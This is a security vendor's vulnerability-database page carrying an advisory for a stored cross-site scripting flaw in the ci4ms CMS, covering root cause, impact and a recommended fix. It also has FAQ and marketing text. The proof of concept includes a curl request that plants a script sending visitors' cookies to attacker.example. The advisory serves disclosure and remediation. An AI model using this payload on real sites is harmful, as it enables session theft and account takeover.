How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

347,940

Total vulnerabilities in the database

CVE-2026-45138 — ci4-cms-erp / ci4ms

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Summary

The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.

Details

Root cause: by-reference mutation never propagates

Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:

// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &amp;$str = null, ?string &amp;$error = null): bool
{
    if (empty(trim((string)$str))) return true;
    if (!class_exists(&#039;\HTMLPurifier&#039;)) { $error = lang(&#039;Backend.htmlPurifierNotFound&#039;); return false; }
    $clean = self::sanitizeHtml($str);
    $str   = $clean;                                  // &lt;-- mutates only the local $value in CI4&#039;s validator
    self::$cleanCache[md5((string)$str)] = $clean;    // &lt;-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
    return true;
}

CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:

// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField =&gt; $value) {                       // local $value
    $this-&gt;processRules($dotField, $setup[&#039;label&#039;] ?? $field, $value, $rules, $data, $field);
}

// Validation.php:343-345
$passed = ($param === null)
    ? $set-&gt;{$rule}($value, $error)                              // &lt;-- $value is the local var
    : $set-&gt;{$rule}($value, $param, $data, $error, $field);

The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).

Sink: raw POST is persisted and rendered unescaped

The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:

// modules/Blog/Controllers/Blog.php:94-125  (Blog::new)
$langsPost = $this-&gt;request-&gt;getPost(&#039;lang&#039;);                            // raw, unsanitized
...
if ($this-&gt;validate($valData) == false) return redirect()-&gt;...;           // html_purify returns true
...
foreach ($langsPost as $lanCode =&gt; $lanData) {
    $this-&gt;commonModel-&gt;create(&#039;blog_langs&#039;, [
        &#039;blog_id&#039; =&gt; $insertID,
        &#039;lang&#039;    =&gt; $lanCode,
        &#039;title&#039;   =&gt; trim(strip_tags($lanData[&#039;title&#039;])),
        &#039;seflink&#039; =&gt; trim(strip_tags($lanData[&#039;seflink&#039;])),
        &#039;content&#039; =&gt; $lanData[&#039;content&#039;],                                  // &lt;-- raw HTML stored
        ...
    ]);
}

The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.

The public blog post template echoes the field with no escaping:

// app/Views/templates/default/blog/post.php:51
&lt;section class=&quot;mb-5&quot; id=&quot;ci4ms-content&quot;&gt;
    &lt;?php echo $infos-&gt;content ?&gt;
&lt;/section&gt;

The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.

Trust boundary

Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/<slug> is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.

Same defect in the Pages module

A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.

PoC

Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.

Submit a blog post with an XSS payload as the content body:

curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
  -d &#039;lang[en][title]=POC&#039; \
  -d &#039;lang[en][seflink]=poc-xss&#039; \
  -d &quot;lang[en][content]=&lt;script&gt;fetch(&#039;https://attacker.example/?c=&#039;+encodeURIComponent(document.cookie))&lt;/script&gt;&quot; \
  -d &#039;isActive=1&#039; \
  -d &#039;categories[]=1&#039; \
  -d &#039;author=1&#039; \
  -d &#039;created_at=01.01.2026 10:00:00&#039; \
  -d &#039;csrf_token_name=&lt;token&gt;&#039;

The validator returns success (html_purify reports true), and the row is written to blog_langs with content = <script>...</script> verbatim.
Visit the public post URL https://target/blog/poc-xss. The injected <script> runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.

Independent root-cause verification (run against the local app):

$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: &lt;script&gt;alert(&quot;STORED-XSS-PROOF-&quot;+document.domain)&lt;/script&gt;

That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified <script>...</script>, confirming the by-reference sanitization is dropped.

Impact

Stored XSS reachable by any account with blogs.create or blogs.update (delegated content-editor permission), executed in the browser of:
- every anonymous public visitor that loads the affected blog post,
- the superadmin and other backend reviewers when they open or preview the post.
Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
Because the same broken html_purify rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through Pages::create / Pages::update via the same primitive — i.e., this is a project-wide regression of an already-published advisory.
The getClean() cache fallback intended as a backstop is also non-functional (key mismatch between md5(clean) writer and md5(original) reader).

Recommended Fix

Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize at the sink in every controller that accepts WYSIWYG HTML, or (b) sanitize after validate() and before persisting.

Minimal, immediate fix in the Blog controller — apply to both new and edit:
// modules/Blog/Controllers/Blog.php (Blog::new, ~line 123 and Blog::edit, ~line 201) use Modules\Backend\Validation\CustomRules; ... $this->commonModel->create('blog_langs', [ 'blog_id' => $insertID, 'lang' => $lanCode, 'title' => trim(strip_tags($lanData['title'])), 'seflink' => trim(strip_tags($lanData['seflink'])), 'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')), 'seo' => !empty($seoData) ? $seoData : '', ]);
Apply the identical change to modules/Pages/Controllers/Pages.php (the previous Pages Stored XSS fix relied on html_purify and is therefore still vulnerable).
Fix the cache key bug so getClean() actually works as a defense-in-depth backstop:
// modules/Backend/Validation/CustomRules.php public function html_purify(?string &$str = null, ?string &$error = null): bool { if (empty(trim((string)$str))) return true; if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; } $original = (string)$str; $clean = self::sanitizeHtml($original); self::$cleanCache[md5($original)] = $clean; // key on ORIGINAL, before reassignment $str = $clean; // best-effort; CI4 will drop this return true; }
Document explicitly in CustomRules that html_purify is not a sanitizer — it returns true unconditionally on any HTMLPurifier-installed environment — and that callers MUST use CustomRules::sanitizeHtml(...) (or CustomRules::getClean($original) after the cache fix) on $_POST data before storage.
Defense in depth: escape $infos->content at output where feasible (e.g., app/Views/templates/default/blog/post.php:51), or pipe the stored value through CustomRules::sanitizeHtml() on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.

Published: May 18, 2026
Updated: May 19, 2026
CVE: CVE-2026-45138
GHSA: GHSA-2m69-jmvh-6chr
Severity: Medium
Exploit:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

CWEs:

CWE-79

OWASP TOP 10:

A7 - Cross-Site Scripting (XSS)

Affected Software
References

Software	From	Fixed in
ci4-cms-erp / ci4ms	-	0.31.9.0

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.